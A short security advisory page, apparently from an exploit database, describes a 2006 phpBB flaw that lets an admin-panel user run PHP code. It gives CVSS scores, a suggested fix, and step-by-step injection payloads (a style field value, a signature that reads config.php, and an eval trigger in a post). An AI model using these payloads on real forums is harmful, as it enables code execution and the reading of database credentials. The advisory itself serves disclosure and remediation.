phpBB Admin command execution

2006.04.15
Risk: Low
Local: Yes
Remote: No
CWE: CWE-94


CVSS Base Score: 6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

On a phpBB board, a user having access to the admin panel is able to execute PHP code: This example will execute $user_sig as PHP code: Go to Administration Panel > Styles Admin > Management > subSilver > Edit Set "Font Colour 3" to "'./*" Profile Set Signature to "$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}" Post a new message with content: "*/var_dump(eval($user_sig)).flush().die().'" and attach your signature Go to your message adding ?highlight=1 to URL Your signature is executed as PHP code Possible solution: Replace $theme['fontcolor3'] By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']); In viewtopic.php


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top